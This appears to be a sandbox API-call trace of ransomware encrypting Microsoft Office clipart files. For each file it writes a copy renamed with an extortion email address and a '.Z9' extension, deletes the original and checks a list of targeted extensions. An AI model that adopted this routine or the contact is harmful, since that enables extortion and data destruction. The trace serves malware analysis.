	[0185.865] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3a30, lpOverlapped=0x0) returned 1
	[0185.866] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.866] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.866] SetEndOfFile (hFile=0x520) returned 1
	[0185.866] CloseHandle (hObject=0x520) returned 1
	[0185.866] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.866] SetEndOfFile (hFile=0x540) returned 1
	[0185.869] CloseHandle (hObject=0x540) returned 1
	[0185.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1
	[0186.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.054] lstrlenW (lpString=".doc") returned 4
	[0186.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.054] lstrlenW (lpString=".docx") returned 5
	[0186.054] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0186.054] lstrlenW (lpString=".pdf") returned 4
	[0186.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.054] lstrlenW (lpString=".xls") returned 4
	[0186.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.054] lstrlenW (lpString=".xlsx") returned 5
	[0186.054] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0186.054] lstrlenW (lpString=".ppt") returned 4
	[0186.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.054] lstrlenW (lpString=".zip") returned 4
	[0186.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.054] lstrlenW (lpString=".rar") returned 4
	[0186.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.054] lstrlenW (lpString=".bz2") returned 4
	[0186.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.054] lstrlenW (lpString=".7z") returned 3
	[0186.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.055] lstrlenW (lpString=".dbf") returned 4
	[0186.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.055] lstrlenW (lpString=".1cd") returned 4
	[0186.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.055] lstrlenW (lpString=".jpg") returned 4
	[0186.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.055] lstrlenW (lpString=".doc") returned 4
	[0186.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.055] lstrlenW (lpString=".docx") returned 5
	[0186.055] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0186.055] lstrlenW (lpString=".pdf") returned 4
	[0186.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.055] lstrlenW (lpString=".xls") returned 4
	[0186.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.055] lstrlenW (lpString=".xlsx") returned 5
	[0186.055] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0186.055] lstrlenW (lpString=".ppt") returned 4
	[0186.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.055] lstrlenW (lpString=".zip") returned 4
	[0186.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.055] lstrlenW (lpString=".rar") returned 4
	[0186.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.055] lstrlenW (lpString=".bz2") returned 4
	[0186.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.056] lstrlenW (lpString=".7z") returned 3
	[0186.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.056] lstrlenW (lpString=".dbf") returned 4
	[0186.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.056] lstrlenW (lpString=".1cd") returned 4
	[0186.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0186.056] lstrlenW (lpString=".jpg") returned 4
	[0186.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.056] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.056] lstrlenW (lpString="J0153087.WMF") returned 12
	[0186.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.058] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1912) returned 1
	[0186.058] CloseHandle (hObject=0x55c) returned 1
	[0186.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 0x220
	[0186.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.059] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.059] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.060] GetLastError () returned 0x0
	[0186.060] ReadFile (in: hFile=0x55c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x778, lpOverlapped=0x0) returned 1
	[0186.063] WriteFile (in: hFile=0x2d0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x780, lpOverlapped=0x0) returned 1
	[0186.071] ReadFile (in: hFile=0x55c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.071] WriteFile (in: hFile=0x2d0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.072] SetEndOfFile (hFile=0x2d0) returned 1
	[0186.072] CloseHandle (hObject=0x2d0) returned 1
	[0186.072] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.072] SetEndOfFile (hFile=0x55c) returned 1
	[0186.075] CloseHandle (hObject=0x55c) returned 1
	[0186.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1
	[0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.078] lstrlenW (lpString=".doc") returned 4
	[0186.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.078] lstrlenW (lpString=".docx") returned 5
	[0186.078] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0186.079] lstrlenW (lpString=".pdf") returned 4
	[0186.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.079] lstrlenW (lpString=".xls") returned 4
	[0186.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.079] lstrlenW (lpString=".xlsx") returned 5
	[0186.079] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0186.079] lstrlenW (lpString=".ppt") returned 4
	[0186.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.079] lstrlenW (lpString=".zip") returned 4
	[0186.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.079] lstrlenW (lpString=".rar") returned 4
	[0186.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.079] lstrlenW (lpString=".bz2") returned 4
	[0186.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.079] lstrlenW (lpString=".7z") returned 3
	[0186.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.079] lstrlenW (lpString=".dbf") returned 4
	[0186.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.079] lstrlenW (lpString=".1cd") returned 4
	[0186.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.079] lstrlenW (lpString=".jpg") returned 4
	[0186.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.080] lstrlenW (lpString=".doc") returned 4
	[0186.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.080] lstrlenW (lpString=".docx") returned 5
	[0186.080] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0186.080] lstrlenW (lpString=".pdf") returned 4
	[0186.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.080] lstrlenW (lpString=".xls") returned 4
	[0186.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.080] lstrlenW (lpString=".xlsx") returned 5
	[0186.080] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0186.080] lstrlenW (lpString=".ppt") returned 4
	[0186.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.080] lstrlenW (lpString=".zip") returned 4
	[0186.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.080] lstrlenW (lpString=".rar") returned 4
	[0186.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.080] lstrlenW (lpString=".bz2") returned 4
	[0186.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.080] lstrlenW (lpString=".7z") returned 3
	[0186.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.080] lstrlenW (lpString=".dbf") returned 4
	[0186.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.080] lstrlenW (lpString=".1cd") returned 4
	[0186.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0186.081] lstrlenW (lpString=".jpg") returned 4
	[0186.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.081] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.081] lstrlenW (lpString="J0153089.WMF") returned 12
	[0186.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.083] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7848) returned 1
	[0186.083] CloseHandle (hObject=0x55c) returned 1
	[0186.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 0x220
	[0186.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.083] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.084] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.085] GetLastError () returned 0x0
	[0186.085] ReadFile (in: hFile=0x55c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1ea8, lpOverlapped=0x0) returned 1
	[0186.298] WriteFile (in: hFile=0x2d0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1eb0, lpOverlapped=0x0) returned 1
	[0186.299] ReadFile (in: hFile=0x55c, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.299] WriteFile (in: hFile=0x2d0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.299] SetEndOfFile (hFile=0x2d0) returned 1
	[0186.299] CloseHandle (hObject=0x2d0) returned 1
	[0186.300] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.300] SetEndOfFile (hFile=0x55c) returned 1
	[0186.302] CloseHandle (hObject=0x55c) returned 1
	[0186.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1
	[0186.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.732] lstrlenW (lpString=".doc") returned 4
	[0186.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString=".docx") returned 5
	[0186.733] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0186.733] lstrlenW (lpString=".pdf") returned 4
	[0186.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString=".xls") returned 4
	[0186.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.733] lstrlenW (lpString=".xlsx") returned 5
	[0186.733] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0186.733] lstrlenW (lpString=".ppt") returned 4
	[0186.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.733] lstrlenW (lpString=".zip") returned 4
	[0186.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.733] lstrlenW (lpString=".rar") returned 4
	[0186.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString=".bz2") returned 4
	[0186.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString=".7z") returned 3
	[0186.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.733] lstrlenW (lpString=".dbf") returned 4
	[0186.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.733] lstrlenW (lpString=".1cd") returned 4
	[0186.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.733] lstrlenW (lpString=".jpg") returned 4
	[0186.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.733] lstrlenW (lpString=".doc") returned 4
	[0186.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.733] lstrlenW (lpString=".docx") returned 5
	[0186.733] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0186.733] lstrlenW (lpString=".pdf") returned 4
	[0186.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.734] lstrlenW (lpString=".xls") returned 4
	[0186.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.734] lstrlenW (lpString=".xlsx") returned 5
	[0186.734] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0186.734] lstrlenW (lpString=".ppt") returned 4
	[0186.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.734] lstrlenW (lpString=".zip") returned 4
	[0186.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.734] lstrlenW (lpString=".rar") returned 4
	[0186.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.734] lstrlenW (lpString=".bz2") returned 4
	[0186.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.734] lstrlenW (lpString=".7z") returned 3
	[0186.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.734] lstrlenW (lpString=".dbf") returned 4
	[0186.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.734] lstrlenW (lpString=".1cd") returned 4
	[0186.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0186.734] lstrlenW (lpString=".jpg") returned 4
	[0186.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.734] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.734] lstrlenW (lpString="J0153313.WMF") returned 12
	[0186.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.856] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=16952) returned 1
	[0186.856] CloseHandle (hObject=0x2d0) returned 1
	[0186.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 0x220
	[0186.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0188.532] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.532] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0188.534] GetLastError () returned 0x0
	[0188.534] ReadFile (in: hFile=0x2cc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4238, lpOverlapped=0x0) returned 1
